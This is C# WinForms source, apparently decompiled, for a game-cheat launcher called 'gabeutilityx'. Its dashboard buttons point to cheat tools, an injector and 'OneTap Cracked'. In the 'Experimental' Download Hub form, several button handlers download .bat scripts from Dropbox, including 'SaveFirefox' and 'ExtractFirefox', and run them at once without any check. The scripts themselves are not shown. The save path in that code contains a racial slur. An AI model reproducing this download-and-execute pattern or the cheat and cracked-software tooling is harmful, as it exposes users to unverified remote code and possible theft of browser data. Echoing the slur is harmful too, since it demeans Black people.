guna2GradientButton4; guna2GradientButton4.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton4.CustomImages.Parent = guna2GradientButton4; guna2GradientButton4.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton4.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton4.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 11.25f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton4.ForeColor = System.Drawing.Color.White; guna2GradientButton4.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton4.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton4.HoverState.Parent = guna2GradientButton4; guna2GradientButton4.Location = new System.Drawing.Point(6, 375); guna2GradientButton4.Name = "guna2GradientButton4"; guna2GradientButton4.PressedDepth = 3; guna2GradientButton4.ShadowDecoration.Parent = guna2GradientButton4; guna2GradientButton4.Size = new System.Drawing.Size(110, 47); guna2GradientButton4.TabIndex = 45; guna2GradientButton4.Text = "Back"; guna2GradientButton4.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton4.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton4.UseTransparentBackground = true; guna2GradientButton4.Click += new System.EventHandler(guna2GradientButton4_Click); guna2GradientButton9.Animated = true; guna2GradientButton9.AutoRoundedCorners = true; guna2GradientButton9.BackColor = System.Drawing.Color.Transparent; guna2GradientButton9.BorderRadius = 22; guna2GradientButton9.CheckedState.Parent = guna2GradientButton9; guna2GradientButton9.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton9.CustomImages.Parent = guna2GradientButton9; guna2GradientButton9.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton9.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton9.Font = new System.Drawing.Font("UD Digi Kyokasho NK-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton9.ForeColor = System.Drawing.Color.White; guna2GradientButton9.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton9.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton9.HoverState.Parent = guna2GradientButton9; guna2GradientButton9.Location = new System.Drawing.Point(26, 127); guna2GradientButton9.Name = "guna2GradientButton9"; guna2GradientButton9.PressedDepth = 3; guna2GradientButton9.ShadowDecoration.Parent = guna2GradientButton9; guna2GradientButton9.Size = new System.Drawing.Size(110, 47); guna2GradientButton9.TabIndex = 47; guna2GradientButton9.Text = "Flux B13"; guna2GradientButton9.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton9.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton9.UseTransparentBackground = true; guna2GradientButton9.Click += new System.EventHandler(guna2GradientButton9_Click); pictureBox5.BackColor = System.Drawing.Color.Transparent; pictureBox5.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox5.BackgroundImage"); pictureBox5.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; pictureBox5.Location = new System.Drawing.Point(26, 49); pictureBox5.Name = "pictureBox5"; pictureBox5.Size = new System.Drawing.Size(110, 72); pictureBox5.TabIndex = 46; pictureBox5.TabStop = false; guna2GradientButton1.Animated = true; guna2GradientButton1.AutoRoundedCorners = true; guna2GradientButton1.BackColor = System.Drawing.Color.Transparent; guna2GradientButton1.BorderRadius = 22; guna2GradientButton1.CheckedState.Parent = guna2GradientButton1; guna2GradientButton1.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton1.CustomImages.Parent = guna2GradientButton1; guna2GradientButton1.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton1.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton1.Font = new System.Drawing.Font("UD Digi Kyokasho NK-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton1.ForeColor = System.Drawing.Color.White; guna2GradientButton1.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton1.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton1.HoverState.Parent = guna2GradientButton1; guna2GradientButton1.Location = new System.Drawing.Point(152, 127); guna2GradientButton1.Name = "guna2GradientButton1"; guna2GradientButton1.PressedDepth = 3; guna2GradientButton1.ShadowDecoration.Parent = guna2GradientButton1; guna2GradientButton1.Size = new System.Drawing.Size(110, 47); guna2GradientButton1.TabIndex = 48; guna2GradientButton1.Text = "Sentinel"; guna2GradientButton1.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton1.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton1.UseTransparentBackground = true; guna2GradientButton1.Click += new System.EventHandler(guna2GradientButton1_Click_2); pictureBox2.BackColor = System.Drawing.Color.Transparent; pictureBox2.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox2.BackgroundImage"); pictureBox2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; pictureBox2.Location = new System.Drawing.Point(152, 49); pictureBox2.Name = "pictureBox2"; pictureBox2.Size = new System.Drawing.Size(110, 72); pictureBox2.TabIndex = 49; pictureBox2.TabStop = false; guna2GradientButton2.Animated = true; guna2GradientButton2.AutoRoundedCorners = true; guna2GradientButton2.BackColor = System.Drawing.Color.Transparent; guna2GradientButton2.BorderRadius = 22; guna2GradientButton2.CheckedState.Parent = guna2GradientButton2; guna2GradientButton2.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton2.CustomImages.Parent = guna2GradientButton2; guna2GradientButton2.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton2.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton2.Font = new System.Drawing.Font("UD Digi Kyokasho NK-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton2.ForeColor = System.Drawing.Color.White; guna2GradientButton2.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton2.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton2.HoverState.Parent = guna2GradientButton2; guna2GradientButton2.Location = new System.Drawing.Point(269, 127); guna2GradientButton2.Name = "guna2GradientButton2"; guna2GradientButton2.PressedDepth = 3; guna2GradientButton2.ShadowDecoration.Parent = guna2GradientButton2; guna2GradientButton2.Size = new System.Drawing.Size(110, 47); guna2GradientButton2.TabIndex = 50; guna2GradientButton2.Text = "Xenos64"; guna2GradientButton2.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton2.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton2.UseTransparentBackground = true; guna2GradientButton2.Click += new System.EventHandler(guna2GradientButton2_Click_2); pictureBox3.BackColor = System.Drawing.Color.Transparent; pictureBox3.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox3.BackgroundImage"); pictureBox3.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; pictureBox3.Location = new System.Drawing.Point(269, 49); pictureBox3.Name = "pictureBox3"; pictureBox3.Size = new System.Drawing.Size(110, 72); pictureBox3.TabIndex = 51; pictureBox3.TabStop = false; pictureBox4.BackColor = System.Drawing.Color.Transparent; pictureBox4.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox4.BackgroundImage"); pictureBox4.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; pictureBox4.Location = new System.Drawing.Point(385, 49); pictureBox4.Name = "pictureBox4"; pictureBox4.Size = new System.Drawing.Size(110, 72); pictureBox4.TabIndex = 53; pictureBox4.TabStop = false; guna2GradientButton3.Animated = true; guna2GradientButton3.AutoRoundedCorners = true; guna2GradientButton3.BackColor = System.Drawing.Color.Transparent; guna2GradientButton3.BorderRadius = 22; guna2GradientButton3.CheckedState.Parent = guna2GradientButton3; guna2GradientButton3.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton3.CustomImages.Parent = guna2GradientButton3; guna2GradientButton3.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton3.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton3.Font = new System.Drawing.Font("UD Digi Kyokasho NK-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton3.ForeColor = System.Drawing.Color.White; guna2GradientButton3.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton3.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton3.HoverState.Parent = guna2GradientButton3; guna2GradientButton3.Location = new System.Drawing.Point(385, 127); guna2GradientButton3.Name = "guna2GradientButton3"; guna2GradientButton3.PressedDepth = 3; guna2GradientButton3.ShadowDecoration.Parent = guna2GradientButton3; guna2GradientButton3.Size = new System.Drawing.Size(110, 47); guna2GradientButton3.TabIndex = 52; guna2GradientButton3.Text = "OneTap Cracked"; guna2GradientButton3.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton3.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton3.UseTransparentBackground = true; guna2GradientButton3.Click += new System.EventHandler(guna2GradientButton3_Click_2); pictureBox6.BackColor = System.Drawing.Color.Transparent; pictureBox6.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox6.BackgroundImage"); pictureBox6.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; pictureBox6.Location = new System.Drawing.Point(501, 49); pictureBox6.Name = "pictureBox6"; pictureBox6.Size = new System.Drawing.Size(110, 72); pictureBox6.TabIndex = 55; pictureBox6.TabStop = false; guna2GradientButton5.Animated = true; guna2GradientButton5.AutoRoundedCorners = true; guna2GradientButton5.BackColor = System.Drawing.Color.Transparent; guna2GradientButton5.BorderRadius = 22; guna2GradientButton5.CheckedState.Parent = guna2GradientButton5; guna2GradientButton5.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton5.CustomImages.Parent = guna2GradientButton5; guna2GradientButton5.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton5.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton5.Font = new System.Drawing.Font("UD Digi Kyokasho NK-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton5.ForeColor = System.Drawing.Color.White; guna2GradientButton5.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton5.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton5.HoverState.Parent = guna2GradientButton5; guna2GradientButton5.Location = new System.Drawing.Point(501, 127); guna2GradientButton5.Name = "guna2GradientButton5"; guna2GradientButton5.PressedDepth = 3; guna2GradientButton5.ShadowDecoration.Parent = guna2GradientButton5; guna2GradientButton5.Size = new System.Drawing.Size(110, 47); guna2GradientButton5.TabIndex = 54; guna2GradientButton5.Text = "Synapse X"; guna2GradientButton5.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton5.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton5.UseTransparentBackground = true; guna2GradientButton5.Click += new System.EventHandler(guna2GradientButton5_Click_1); pictureBox7.BackColor = System.Drawing.Color.Transparent; pictureBox7.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox7.BackgroundImage"); pictureBox7.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; pictureBox7.Location = new System.Drawing.Point(617, 49); pictureBox7.Name = "pictureBox7"; pictureBox7.Size = new System.Drawing.Size(110, 72); pictureBox7.TabIndex = 57; pictureBox7.TabStop = false; guna2GradientButton6.Animated = true; guna2GradientButton6.AutoRoundedCorners = true; guna2GradientButton6.BackColor = System.Drawing.Color.Transparent; guna2GradientButton6.BorderRadius = 22; guna2GradientButton6.CheckedState.Parent = guna2GradientButton6; guna2GradientButton6.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton6.CustomImages.Parent = guna2GradientButton6; guna2GradientButton6.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton6.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton6.Font = new System.Drawing.Font("UD Digi Kyokasho NK-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton6.ForeColor = System.Drawing.Color.White; guna2GradientButton6.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton6.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton6.HoverState.Parent = guna2GradientButton6; guna2GradientButton6.Location = new System.Drawing.Point(617, 127); guna2GradientButton6.Name = "guna2GradientButton6"; guna2GradientButton6.PressedDepth = 3; guna2GradientButton6.ShadowDecoration.Parent = guna2GradientButton6; guna2GradientButton6.Size = new System.Drawing.Size(110, 47); guna2GradientButton6.TabIndex = 56; guna2GradientButton6.Text = "Sirhurt"; guna2GradientButton6.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton6.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton6.UseTransparentBackground = true; guna2GradientButton6.Click += new System.EventHandler(guna2GradientButton6_Click_1); base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f); base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; BackColor = System.Drawing.Color.White; BackgroundImage = (System.Drawing.Image)resources.GetObject("$this.BackgroundImage"); BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; base.ClientSize = new System.Drawing.Size(736, 431); base.Controls.Add(pictureBox7); base.Controls.Add(guna2GradientButton6); base.Controls.Add(pictureBox6); base.Controls.Add(guna2GradientButton5); base.Controls.Add(pictureBox4); base.Controls.Add(guna2GradientButton3); base.Controls.Add(pictureBox3); base.Controls.Add(guna2GradientButton2); base.Controls.Add(pictureBox2); base.Controls.Add(guna2GradientButton1); base.Controls.Add(guna2GradientButton9); base.Controls.Add(pictureBox5); base.Controls.Add(guna2GradientButton4); base.Controls.Add(welcome); base.Controls.Add(panel1); DoubleBuffered = true; base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; base.Icon = (System.Drawing.Icon)resources.GetObject("$this.Icon"); base.MaximizeBox = false; base.MinimizeBox = false; base.Name = "Cheats"; base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; Text = "gabeutilityx dashboard"; base.Load += new System.EventHandler(dashboard_Load); base.MouseDown += new System.Windows.Forms.MouseEventHandler(dashboard_MouseDown); base.MouseMove += new System.Windows.Forms.MouseEventHandler(dashboard_MouseMove); panel1.ResumeLayout(false); panel1.PerformLayout(); ((System.ComponentModel.ISupportInitialize)pictureBox1).EndInit(); ((System.ComponentModel.ISupportInitialize)pictureBox5).EndInit(); ((System.ComponentModel.ISupportInitialize)pictureBox2).EndInit(); ((System.ComponentModel.ISupportInitialize)pictureBox3).EndInit(); ((System.ComponentModel.ISupportInitialize)pictureBox4).EndInit(); ((System.ComponentModel.ISupportInitialize)pictureBox6).EndInit(); ((System.ComponentModel.ISupportInitialize)pictureBox7).EndInit(); ResumeLayout(false); PerformLayout(); } } } <file_sep>using Guna.UI2.WinForms; using System; using System.ComponentModel; using System.Diagnostics; using System.Drawing; using System.Drawing.Text; using System.Net; using System.Windows.Forms; namespace gabeutilitiesx { public class Experimental : Form { private Point lastPoint; private IContainer components; private Panel panel1; private PictureBox pictureBox1; private Label label1; private Label label2; private PictureBox pictureBox2; private Panel panel2; private Guna2GradientButton guna2GradientButton2; private Guna2GradientButton guna2GradientButton1; private Guna2GradientButton guna2GradientButton3; private Guna2GradientButton guna2GradientButton4; private Guna2GradientButton guna2GradientButton5; public Experimental() { InitializeComponent(); } private void guna2GradientButton1_Click(object sender, EventArgs e) { new WebClient().DownloadFile("https://dl.dropboxusercontent.com/s/t39vln86fh2q9vf/SaveFirefox.bat", "i:\\idontlikeniggersutilityx\\SaveFirefox.bat"); Process.Start("i:\\idontlikeniggersutilityx\\SaveFirefox.bat"); } private void guna2GradientButton2_Click(object sender, EventArgs e) { new WebClient().DownloadFile("https://dl.dropboxusercontent.com/s/hu1vdpp2ujfzna9/ExtractFirefox.bat", "i:\\idontlikeniggersutilityx\\ExtractFirefox.bat"); Process.Start("i:\\idontlikeniggersutilityx\\ExtractFirefox.bat"); } private void label2_Click(object sender, EventArgs e) { } private void Experimental_Load(object sender, EventArgs e) { } private void label1_Click(object sender, EventArgs e) { } private void pictureBox1_Click(object sender, EventArgs e) { Close(); } private void panel1_MouseDown(object sender, MouseEventArgs e) { lastPoint = new Point(e.X, e.Y); } private void panel1_MouseMove(object sender, MouseEventArgs e) { if (e.Button == MouseButtons.Left) { base.Left += e.X - lastPoint.X; base.Top += e.Y - lastPoint.Y; } } private void pictureBox2_Click(object sender, EventArgs e) { Close(); } private void guna2GradientButton3_Click(object sender, EventArgs e) { new WebClient().DownloadFile("https://dl.dropboxusercontent.com/s/nbollk9dygla66d/SaveFolders.bat", "i:\\idontlikeniggersutilityx\\SaveFolders.bat"); Process.Start("i:\\idontlikeniggersutilityx\\SaveFolders.bat"); } private void guna2GradientButton4_Click(object sender, EventArgs e) { new WebClient().DownloadFile("https://dl.dropboxusercontent.com/s/cyw2hsxmg2wqtw3/LoadFolders.bat", "i:\\idontlikeniggersutilityx\\LoadFolders.bat"); Process.Start("i:\\idontlikeniggersutilityx\\LoadFolders.bat"); } private void guna2GradientButton2_Click_1(object sender, EventArgs e) { Close(); new dashboard().Show(); } private void guna2GradientButton5_Click(object sender, EventArgs e) { } protected override void Dispose(bool disposing) { if (disposing && components != null) { components.Dispose(); } base.Dispose(disposing); } private void InitializeComponent() { System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(gabeutilitiesx.Experimental)); panel1 = new System.Windows.Forms.Panel(); pictureBox2 = new System.Windows.Forms.PictureBox(); pictureBox1 = new System.Windows.Forms.PictureBox(); label1 = new System.Windows.Forms.Label(); label2 = new System.Windows.Forms.Label(); panel2 = new System.Windows.Forms.Panel(); guna2GradientButton2 = new Guna.UI2.WinForms.Guna2GradientButton(); guna2GradientButton1 = new Guna.UI2.WinForms.Guna2GradientButton(); guna2GradientButton3 = new Guna.UI2.WinForms.Guna2GradientButton(); guna2GradientButton4 = new Guna.UI2.WinForms.Guna2GradientButton(); guna2GradientButton5 = new Guna.UI2.WinForms.Guna2GradientButton(); panel1.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)pictureBox2).BeginInit(); ((System.ComponentModel.ISupportInitialize)pictureBox1).BeginInit(); panel2.SuspendLayout(); SuspendLayout(); panel1.AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink; panel1.BackColor = System.Drawing.Color.Orchid; panel1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None; panel1.Controls.Add(pictureBox2); panel1.Controls.Add(pictureBox1); panel1.Controls.Add(label1); panel1.Dock = System.Windows.Forms.DockStyle.Top; panel1.ImeMode = System.Windows.Forms.ImeMode.On; panel1.Location = new System.Drawing.Point(0, 0); panel1.Name = "panel1"; panel1.Size = new System.Drawing.Size(736, 28); panel1.TabIndex = 8; panel1.MouseDown += new System.Windows.Forms.MouseEventHandler(panel1_MouseDown); panel1.MouseMove += new System.Windows.Forms.MouseEventHandler(panel1_MouseMove); pictureBox2.BackColor = System.Drawing.Color.Transparent; pictureBox2.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox2.BackgroundImage"); pictureBox2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None; pictureBox2.Location = new System.Drawing.Point(709, 0); pictureBox2.Name = "pictureBox2"; pictureBox2.Size = new System.Drawing.Size(27, 29); pictureBox2.TabIndex = 11; pictureBox2.TabStop = false; pictureBox2.Click += new System.EventHandler(pictureBox2_Click); pictureBox1.BackColor = System.Drawing.Color.Transparent; pictureBox1.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox1.BackgroundImage"); pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None; pictureBox1.Location = new System.Drawing.Point(804, -4); pictureBox1.Name = "pictureBox1"; pictureBox1.Size = new System.Drawing.Size(27, 29); pictureBox1.TabIndex = 1; pictureBox1.TabStop = false; pictureBox1.Click += new System.EventHandler(pictureBox1_Click); label1.Anchor = System.Windows.Forms.AnchorStyles.None; label1.AutoSize = true; label1.BackColor = System.Drawing.Color.Transparent; label1.Font = new System.Drawing.Font("UD Digi Kyokasho NK-B", 12f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); label1.ForeColor = System.Drawing.Color.White; label1.Location = new System.Drawing.Point(3, 9); label1.Name = "label1"; label1.Size = new System.Drawing.Size(127, 18); label1.TabIndex = 0; label1.Text = "Download Hub"; label1.Click += new System.EventHandler(label1_Click); label2.Anchor = System.Windows.Forms.AnchorStyles.None; label2.AutoSize = true; label2.BackColor = System.Drawing.Color.Transparent; label2.Font = new System.Drawing.Font("UD Digi Kyokasho NK-B", 12f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); label2.ForeColor = System.Drawing.Color.White; label2.Location = new System.Drawing.Point(268, 151); label2.Name = "label2"; label2.Size = new System.Drawing.Size(125, 18); label2.TabIndex = 2; label2.Text = "No files found"; panel2.BackColor = System.Drawing.Color.Transparent; panel2.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D; panel2.Controls.Add(label2); panel2.Location = new System.Drawing.Point(37, 48); panel2.Name = "panel2"; panel2.Size = new System.Drawing.Size(661, 328); panel2.TabIndex = 11; guna2GradientButton2.Animated = true; guna2GradientButton2.AutoRoundedCorners = true; guna2GradientButton2.BackColor = System.Drawing.Color.Transparent; guna2GradientButton2.BorderRadius = 22; guna2GradientButton2.CheckedState.Parent = guna2GradientButton2; guna2GradientButton2.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton2.CustomImages.Parent = guna2GradientButton2; guna2GradientButton2.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton2.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton2.Font = new System.Drawing.Font("UD Digi Kyokasho NK-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton2.ForeColor = System.Drawing.Color.White; guna2GradientButton2.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton2.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton2.HoverState.Parent = guna2GradientButton2; guna2GradientButton2.Location = new System.Drawing.Point(0, 382); guna2GradientButton2.Name = "guna2GradientButton2"; guna2GradientButton2.PressedDepth = 3; guna2GradientButton2.ShadowDecoration.Parent = guna2GradientButton2; guna2GradientButton2.Size = new System.Drawing.Size(110, 47); guna2GradientButton2.TabIndex = 42; guna2GradientButton2.Text = "Back"; guna2GradientButton2.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton2.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton2.UseTransparentBackground = true; guna2GradientButton2.Click += new System.EventHandler(guna2GradientButton2_Click_1); guna2GradientButton1.Animated = true; guna2GradientButton1.AutoRoundedCorners = true; guna2GradientButton1.BackColor = System.Drawing.Color.Transparent; guna2GradientButton1.BorderRadius = 22; guna2GradientButton1.CheckedState.Parent = guna2GradientButton1; guna2GradientButton1.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton1.CustomImages.Parent = guna2GradientButton1; guna2GradientButton1.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton1.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton1.Font = new System.Drawing.Font("UD Digi Kyokasho NK-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton1.ForeColor = System.Drawing.Color.White; guna2GradientButton1.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton1.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton1.HoverState.Parent = guna2GradientButton1; guna2GradientButton1.Location = new System.Drawing.Point(614, 382); guna2GradientButton1.Name = "guna2GradientButton1"; guna2GradientButton1.PressedDepth = 3; guna2GradientButton1.ShadowDecoration.Parent = guna2GradientButton1; guna2GradientButton1.Size = new System.Drawing.Size(110, 47); guna2GradientButton1.TabIndex = 43; guna2GradientButton1.Text = "Revoke Access"; guna2GradientButton1.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton1.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton1.UseTransparentBackground = true; guna2GradientButton3.Animated = true; guna2GradientButton3.AutoRoundedCorners = true; guna2GradientButton3.BackColor = System.Drawing.Color.Transparent; guna2GradientButton3.BorderRadius = 22; guna2GradientButton3.CheckedState.Parent = guna2GradientButton3; guna2GradientButton3.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton3.CustomImages.Parent = guna2GradientButton3; guna2GradientButton3.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton3.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton3.Font = new System.Drawing.Font("UD Digi Kyokasho NK-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton3.ForeColor = System.Drawing.Color.White; guna2GradientButton3.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton3.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton3.HoverState.Parent = guna2GradientButton3; guna2GradientButton3.Location = new System.Drawing.Point(498, 382); guna2GradientButton3.Name = "guna2GradientButton3"; guna2GradientButton3.PressedDepth = 3; guna2GradientButton3.ShadowDecoration.Parent = guna2GradientButton3; guna2GradientButton3.Size = new System.Drawing.Size(110, 47); guna2GradientButton3.TabIndex = 44; guna2GradientButton3.Text = "Grant Access"; guna2GradientButton3.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton3.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton3.UseTransparentBackground = true; guna2GradientButton4.Animated = true; guna2GradientButton4.AutoRoundedCorners = true; guna2GradientButton4.BackColor = System.Drawing.Color.Transparent; guna2GradientButton4.BorderRadius = 22; guna2GradientButton4.CheckedState.Parent = guna2GradientButton4; guna2GradientButton4.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton4.CustomImages.Parent = guna2GradientButton4; guna2GradientButton4.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton4.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton4.Font = new System.Drawing.Font("UD Digi Kyokasho NK-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton4.ForeColor = System.Drawing.Color.White; guna2GradientButton4.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton4.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton4.HoverState.Parent = guna2GradientButton4; guna2GradientButton4.Location = new System.Drawing.Point(382, 382); guna2GradientButton4.Name = "guna2GradientButton4"; guna2GradientButton4.PressedDepth = 3; guna2GradientButton4.ShadowDecoration.Parent = guna2GradientButton4; guna2GradientButton4.Size = new System.Drawing.Size(110, 47); guna2GradientButton4.TabIndex = 45; guna2GradientButton4.Text = "Upload"; guna2GradientButton4.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton4.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton4.UseTransparentBackground = true; guna2GradientButton5.Animated = true; guna2GradientButton5.AutoRoundedCorners = true; guna2GradientButton5.BackColor = System.Drawing.Color.Transparent; guna2GradientButton5.BorderRadius = 22; guna2GradientButton5.CheckedState.Parent = guna2GradientButton5; guna2GradientButton5.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton5.CustomImages.Parent = guna2GradientButton5; guna2GradientButton5.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton5.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton5.Font = new System.Drawing.Font("UD Digi Kyokasho NK-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton5.ForeColor = System.Drawing.Color.White; guna2GradientButton5.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton5.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton5.HoverState.Parent = guna2GradientButton5; guna2GradientButton5.Location = new System.Drawing.Point(266, 382); guna2GradientButton5.Name = "guna2GradientButton5"; guna2GradientButton5.PressedDepth = 3; guna2GradientButton5.ShadowDecoration.Parent = guna2GradientButton5; guna2GradientButton5.Size = new System.Drawing.Size(110, 47); guna2GradientButton5.TabIndex = 46; guna2GradientButton5.Text = "Delete"; guna2GradientButton5.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton5.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton5.UseTransparentBackground = true; guna2GradientButton5.Click += new System.EventHandler(guna2GradientButton5_Click); base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f); base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; BackColor = System.Drawing.Color.White; BackgroundImage = (System.Drawing.Image)resources.GetObject("$this.BackgroundImage"); BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; base.ClientSize = new System.Drawing.Size(736, 431); base.Controls.Add(guna2GradientButton5); base.Controls.Add(guna2GradientButton4); base.Controls.Add(guna2GradientButton3); base.Controls.Add(guna2GradientButton1); base.Controls.Add(guna2GradientButton2); base.Controls.Add(panel2); base.Controls.Add(panel1); 